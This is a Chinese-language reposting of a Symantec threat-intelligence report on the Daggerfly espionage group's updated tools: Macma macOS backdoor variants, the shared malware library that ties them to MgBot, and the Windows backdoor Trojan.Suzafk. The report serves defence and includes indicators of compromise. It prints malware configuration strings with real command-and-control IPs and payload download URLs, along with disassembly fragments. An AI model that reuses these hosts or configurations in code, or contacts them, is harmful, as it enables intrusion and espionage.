Daggerfly：間諜組織正對其工具集進行重大更新

2024 年 7 月 23 日發布 | 威脅情報

威脅獵手團隊
賽門鐵克

APT 組織似乎正在使用共用架構來建立 Windows、Linux、macOS 和 Android 威脅

Daggerfly(又名 Evasive Panda、Bronze Highland) 間諜組織已廣泛更新其工具集，推出數個新版本的惡意軟體，很可能是為了應對其舊版變種的曝光。新工具被部署在最近針對台灣組織和美國一個駐中國非政府組織的攻擊中，顯示該組織也從事內部間諜活動。在針對該組織的攻擊中，攻擊者利用 Apache HTTP 伺服器漏洞來傳送他們的 MgBot 惡意軟體。

Daggerfly 武器庫中新增基於該組織的 MgBot 模組化惡意軟體框架之新惡意軟體系列，以及 Macma macOS 後門程式的新版本。儘管 Macma 是先前已被發現的威脅，但迄今為止其原作者身份不明。然而，賽門鐵克的威脅獵手小組現在發現了證據，表明它是由 Daggerfly 開發的。

Daggerfly 活躍至少十年，主要以開發和使用 MgBot 框架而聞名。在 2023 年時，賽門鐵克揭發一件針對非洲一家電信營運商的 Daggerfly 入侵事件，涉及之前未見過的 MgBot 外掛程式。

Macma update

Macma 是 Google 於 2021 年首次記錄的 macOS 後門程式，但似乎至少從 2019 年起就已開始使用。在被發現時，它被散佈在涉及香港被入侵網站的水坑漏洞攻擊中。該事件水坑陷阱包含針對 iOS 和 macOS 裝置。MacOS 目標裝置涉及的是使用者權限提升漏洞 (CVE-2021-30869)，攻擊者可藉此在易受攻擊的系統上安裝 Macma。

Macma 是一個模組化後門。功能包括：

- 裝置指紋
- 執行指令
- 螢幕擷取
- 鍵盤記錄
- 音訊擷取
- 上傳和下載檔案

該威脅曝光後，Objective-See 和 SentinelOne 發布更多關於該威脅的詳細資訊。

賽門鐵克最近發現 Macma 變種顯示出持續發展的跡象。其中一個版本 (SHA256: 003764fd74bf13cff9bf1ddd870cbf593b23e2b584ba4465114023870ea6fbef) 所包含的主模組 (SHA256: 1f5e4d2f714785

18fe76b0efbb75609d3fb6cab06d1b021d6aa30db424f84a5e)，與先前記錄的版本不同。主要的差異在於看起來具有設定資料功能的字串 (請參閱圖 1)。

Macma 的第二個版本 (SHA256: dad13b0a9f5fde7bcdda3e5afa10e7d83af0ff39288b9f11a725850b1e6f6313) 包含似乎是現有功能的增量更新。部分已被識別的更新包括：

- 更新其附加資料中的模組
- 更新檔案目錄路徑和檔案名稱 (以及在建立命令列以啟動程序時的相關字串引號)
- 額外的除錯日誌

其主要模組 (SHA256: fce66c26deff6a5b7320842bc5fa8fe12db991efe6e3edc9c63ffaa3cc5b8ced) 顯示出更廣泛修改的跡象。這包括：

- 收集檔案系統清單的新邏輯，新程式碼以 Tree(一個公開可用 Linux/Unix 公用程式) 為基礎。
- 修改 AudioRecorderHelper 功能中的程式碼
- 額外的參數
- 額外的除錯日誌
- 新增檔案 -param2.ini- 與「autoScreenCaptureInfo」功能的相關設定有關

除此之外，它也有包含設定資料的不同字串 (請參閱圖 1)。

這個變種的另一個模組 (SHA256: eff1c078895bbb76502f1bbad12be6aa23914a4d208859d848d5f087da8e35e0) 包含修改過的程式碼，用來調整已建立的螢幕擷取大小，這顯然與調整擷取大小時長寬比有關。

```
__const:0000000100191AC0 aAbcdefg01234hi db 'abcdefg01234hijklmnopq56789rstuvwxyz'
__const:0000000100191AC0                                          ; DATA XREF: sub_100032480:loc_100032712
__const:0000000100191AE4 a123_1_170_152  db '123.1.170.152',0     ; DATA XREF: sub_100032480+2A0
__const:0000000100191AF2                 db 6 dup(0)
__const:0000000100191AF8 a12580          db '12580',0
__const:0000000100191AFE                 db 4 dup(0)
__const:0000000100191B02 a12583          db '12583',0
__const:0000000100191B08                 db 4 dup(0)
__const:0000000100191B0C aPpwda          db 'ppwda',0
__const:0000000100191B12                 db 22h dup(0)
```

```
__const:0000000100191AC0 aAbcdefg01234hi db 'abcdefg01234hijklmnopq56789rstuvwxyz'
__const:0000000100191AC0                                          ; DATA XREF: sub_100032480:loc_100032712
__const:0000000100191AE4 a172_16_170_249 db '172.16.170.249',0    ; DATA XREF: sub_100032480+2A0
__const:0000000100191AF3                 db 5 dup(0)
__const:0000000100191AF8 a51101          db '51101',0
__const:0000000100191AFE                 db 4 dup(0)
__const:0000000100191B02 a51104          db '51104',0
__const:0000000100191B08                 db 4 dup(0)
__const:0000000100191B0C aPpwda          db 'ppwda',0
__const:0000000100191B12                 db 22h dup(0)
```

```
__const:00000001001AA260 aAbcdefg01234hi db 'abcdefg01234hijklmnopq56789rstuvwxyz'
__const:00000001001AA260                                          ; DATA XREF: sub_1000355E0:loc_10003588F
__const:00000001001AA284 a103_243_212_98 db '103.243.212.98',0    ; DATA XREF: sub_1000355E0+2BD
__const:00000001001AA293                 db 5 dup(0)
__const:00000001001AA298 a23000          db '23000',0
__const:00000001001AA29E                 db 4 dup(0)
__const:00000001001AA2A2 a23003          db '23003',0
__const:00000001001AA2A8                 db 4 dup(0)
__const:00000001001AA2AC a3eec2672f8c8df db '3eec2672f8c8df7f',0
__const:00000001001AA2BD                 db 17h dup(0)
```

圖1. 來自 Objective-See 於 2021 年記錄 Macma 變種主模組的組態字串 (上圖)，以及來自 Symantec 發現兩個新 Macma 變種主模組的字串 (中圖與下圖)

歸屬於 Daggerfly

雖然 Macma 被廣泛認為與進階持續性威脅 (APT) 活動有關，但迄今為止仍未與特定組織有關聯。然而，賽門鐵克發現有證據顯示它是 Daggerfly 工具組的一部分。Macma 後門的兩個變種會連接至命令與控制 (C&C) 伺服器 (103.243.212[.]98)，該伺服器也被 MgBot 下載器程式使用。

除了這個共用基礎架構之外，Macma 和其他已知的 Daggerfly 惡意軟體 (包括 Mgbot)，都包含來自單一共用函式庫或框架的程式碼。此程式庫的元件已用於建立 Windows、macOS、Linux 和 Android 威脅。此程式庫提供的功能包括：

- 線程與同步原語
- 事件通知與計時器
- 資料轉換
- 平台無關的擷取 (例如時間)

透過 SOCK_DGRAM 套接字傳送魔術字串「inp」時，可看到此函式庫程式碼的範例：

```
sendto(*(_DWORD *)(v2 + 56), "inp", 3, 0, (const struct sockaddr *)(v2 + 60), 16);
```

一般而言，sendto() 可以用來與其他主機通訊，但這裡是與本機 (127.0.0) 通訊，甚至可以是同一個進程中的線程。另一個範例涉及透過套接字傳送魔法字串 "tim"，類似下面的內容：

```
sendto(*(_DWORD *)(v1 + 56), "tim", 3, 0, (const struct sockaddr *)(v1 + 60), 16);
```

賽門鐵克尚未在公共儲存庫中找到任何相符的程式碼。Macma 與其他 Daggerfly 工具共用程式碼與共用基礎架構，顯示 Macma 也是 Daggerfly 工具套件的一部分。

新後門

Daggerfly 工具組中新加入的 Windows 後門 (Trojan.Suzafk)，ESET 在 2024 年 3 月首次將其記錄為 Nightdoor (又名 NetMM)，當時觀察到它與 Mgbot 一起使用。Suzafk 是使用 Mgbot、Macma 和其他一些 Daggerfly 工具所使用的相同共用程式庫開發。

Suzafk 是一個多階段的後門軟體，能夠使用 TCP 或 OneDrive 作為 C&C。該惡意軟體包含以下設定，顯示連線至 OneDrive 的功能正在開發中，或存在於惡意軟體的其他變種中：

```
ReadMe=ConnONEDRIVE;Version=256;Tag=15ad490f332f3d9a;DownloadUrl=http://103.96.131.150:19876/30_1410402971.exe;token={"refresh_token":"REDACTED","client_id":"4aa6708f-f3c8-4511-8118-5a7208be6a44","client_secret":"REDACTED"};DownloaderSavePath=C:\Programdata\Office\;HttpServerFolder=C:\Program Files\Common Files\Cloudata\;
```

另一個設定是使用 TCP 連線來達到 C&C 的目的，也出現在後門中：

```
ReadMe=ConnTCP;Version=256;Tag=15ad490f332f3d9a;DownloadUrl=http://103.96.131.150:19876/30_1292836936.exe;IP=103.96.131.150;Port=40020;DownloaderSavePath=C:\\Programdata\\Office\\;HttpServerFolder=C:\\Program Files\\Common Files\\Cloudata\\;
```

該載入器 (SHA256: 5687b32cdd5c4d1b3e928ee0792f6ec43817883721f9b86ec8066c5ec2791595) 會釋放兩個檔案：Engine.dll 和 MeitUD.exe。MeitUD.exe 是一個名為 DAEMON Tools Lite Helper 中的合法應用程式。Engine.dll 是一個載入器 DLL，可透過排程任務設定持久性，並在記憶體中載入最終的有效負載。

該後門包含來自 al-khaser 項目的嵌入程式碼，這是一個旨在檢測虛擬機、沙盒和惡意軟體分析環境的公共程式碼庫。它還會建立文件夾 C:\ProgramData\Office\EFir 和 C:\ProgramData\Office\Temps，並將額外的網路設定資料儲存在 C:\ProgramData\Office\sysmgr 文件中，並使用密鑰 0x7A 進行 XOR 加密。

網路設定的明碼包含以下參數和值：

[InfoRecord]
CMD_SEND_SN=0
LOCAL_CALENDAR
SEND_EMAIL_NUM=0
LOCAL_MAC_ADDR=[mac address]
PROXY_INFO
[CtrlTermKey]
KEY
BSK=[sha256 value]
PRK=[sha256 value]
[CtrlTermKeyStatus]
STATUS=1
[CtrlTermKeyVer]
VER=1
[ManageTermKey]
[ManageTermKeyStatus]
[ManageTermKeyVer]
[ManageTermServerInfoOffset]
[ManageTermEmailTo]
[ManageTermUseCreateCloudDirAlgorithm]

接下來，惡意軟體會建立 cmd.exe shell，透過開放管道從 C&C 伺服器 (103.96.131[.]150) 傳送和接收指令。此外，還可執行下列指令：

ipconfig
systeminfo
tasklist
netstat

資源雄厚

新的發現讓我們更清楚了解 Daggerfly 背後的能力與資源。該組織可以針對大多數主要作業系統平台製作其工具版本。除了這裡所記載的工具之外，賽門鐵克還看到證據顯示其有能力將 Android APK、SMS 攔截工具、DNS 請求攔截工具，甚至是針對 Solaris 作業系統的惡意軟體系列進行特洛伊木馬化。Daggerfly 似乎有能力透過快速更新其工具集來因應曝光，並以最小的受干擾情況下繼續其間諜活動。

防護方案／緩解措施

有關 Alpha 最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵指標 (Indicators of Compromise)

如果 IOC 是惡意的並且我們能夠使用該檔案，Symantec Endpoint 產品將檢測並阻止該檔案。

IOC	Description
003764fd74bf13cff9bf1ddd870cbf593b23e2b584ba4465114023870ea6fbef	Macma
1f5e4d2f71478518fe76b0efbb75609d3fb6cab06d1b021d6aa30db424f84a5e	"UserAgent" Macma component
dad13b0a9f5fde7bcdda3e5afa10e7d83af0ff39288b9f11a725850b1e6f6313	Macma
570cd76bf49cf52e0cb347a68bdcf0590b2eaece134e1b1eba7e8d66261bdbe6	"kAgent" Macma component
eff1c078895bbb76502f1bbad12be6aa23914a4d208859d848d5f087da8e35e0	"arch" Macma component
d8a49e688f214553a7525be96cadddec224db19bae3771d14083a2c4c45f28eb	"at" Macma component
955cee70c82bb225ca2b108f987fbb245c48eefe9dc53e804bbd9d55578ea3a4	"com.USAgent.mv.plist" Macma component
fce66c26deff6a5b7320842bc5fa8fe12db991efe6e3edc9c63ffaa3cc5b8ced	"USAgent" Macma component
5687b32cdd5c4d1b3e928ee0792f6ec43817883721f9b86ec8066c5ec2791595	Trojan.Suzafk dropper
49079ea789e75736f8f8fad804da4a99db52cbaca21e1d2b6d6e1ea4db56faad	Trojan.Suzafk DLL
5c52e41090cdd13e0bfa7ec11c283f5051347ba02c9868b4fddfd9c3fc452191	Trojan.Suzafk unpacked
4c3b9a568d8911a2a256fdc2ebe9ff5911a6b2b63c7784da08a4daf692e93c1a	Linux malware with Daggerfly library
ef9aebcd9022080189af8aa2fb0b6594c3dfdc862340f79c17fb248e51fc9929	Linux malware with Daggerfly library
0cabb6780b804d4ee285b0ddb00b02468f91b218bd2db2e2310c90471f7f8e74	Linux malware with Daggerfly library
3894a8b82338791764524fddac786a2c5025cad37175877959a06c372b96ef05	Linux malware with Daggerfly library
3a6605266184d967ab4643af2c73dafb8b7724d21c7aa69e58d78b84ebc06612	Linux malware with Daggerfly library
65441ea5a7c0d08c1467e9154312ac9d3fdd3ca9188b4234b5944b767d135074	Linux malware with Daggerfly library
103.243.212[.]98	Macma and MgBot C&C server
103.96.131[.]150	Trojan.Suzafk C&C server
103.96.128[.]44	MgBot C&C server

關於作者

威脅獵手團隊
賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供分析以幫助客戶應對攻擊。

關於賽門鐵克 (Symantec)

賽門鐵克 (Symantec) 已於 2019/11 併入全球網通晶片巨擘--博通 (BroadCom，美國股市代號 AVGO，全世界網際網路流量有 99.9% 經過博通的網通晶片) 軟體事業部的企業安全部門 (SED)，特別是近年以半導體的嚴謹、系統化以及零錯誤思維來改造核心技術、管理框架以及整合最完整的資安生態體系，讓賽門鐵克的解決方案在穩定性、相容性、有效性以及資安生態系整合擴充性，有著脫胎換骨並超越業界的長足進步。博通 (Broadcom) 是務實的完美主義者，致力於追求卓越、關注細節並且有系統和紀律地投入科技創新與嚴謹工藝，同時也大大降低交易複雜性。Symantec 持續創新的技術能為日新月異的資安問題提供更好的解決方案，近三年 Symantec 很少出現在由公關機制產生的頭版文章中，而且在全球前兩千大企業的市佔率及營收成長均遠遠高於併入博通之前，增長幅度也領先其他競爭對手，是科技創新驅動的解決方案非常穩健可靠深受大型企業信賴的實證，也顯示大型企業顧客對轉型中的新賽門鐵克未來充滿信心。(美籍華人王嘉廉創辦的企業軟體公司，組合國際電腦（CA Technologies）以及雲端運算及「硬體虛擬化」的領導廠商--VMware， 也是博通軟體事業部的成員)。2021 年八月，因應國外發動的針對性攻擊日益嚴重，美國網路安全暨基礎架構安全管理署（CISA）宣布聯合民間科技公司，發展全國性聯合防禦計畫 JCDC(Joint Cyber Defense Collaborative)，而博通賽門鐵克是首輪被徵招的一線廠商，如就地緣政治考量，Symantec 也絕對是最安全的資安廠商。擁有更強大資源與技術為後盾的賽門鐵克已更專注於整合各種最新科技於既有領先業界的端點、郵件、網頁以及身分認證等安全解決方案。

關於保安資訊 www.savetime.com.tw

保安資訊團隊是台灣第一家專注在賽門鐵克解決方案的技術型領導廠商，被業界公認為賽門鐵克解決方案專家。自 1995 年起就全心全力專注在賽門鐵克資訊安全解決方案的技術支援、銷售、規劃與整合、教育訓練、顧問服務，特別是提供企業 IT 專業人員的知識傳承 (Knowledge Transfer)、協助顧客符合邏輯地解決資安問題本質的效益上，以及基於比原廠更孰悉用戶使用情境的優勢能提供更快速有效的技術支援回應，深獲許多中大型企業與組織的信賴，長期合作的意願與滿意度極高。許多顧客樂意與我們建立起長期的友誼，把我們當成可信任的資安建議者、可以提供良好諮商的資安策略夥伴以及總是第一個被想到的好用資源。

保安資訊連絡電話：**0800-381-500**。

原廠網址：https://symantec-enterprise-blogs.security.com/threat-intelligence/daggerfly-espionage-updated-toolset

本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上Symantec原廠公告為準，請知悉。2024/7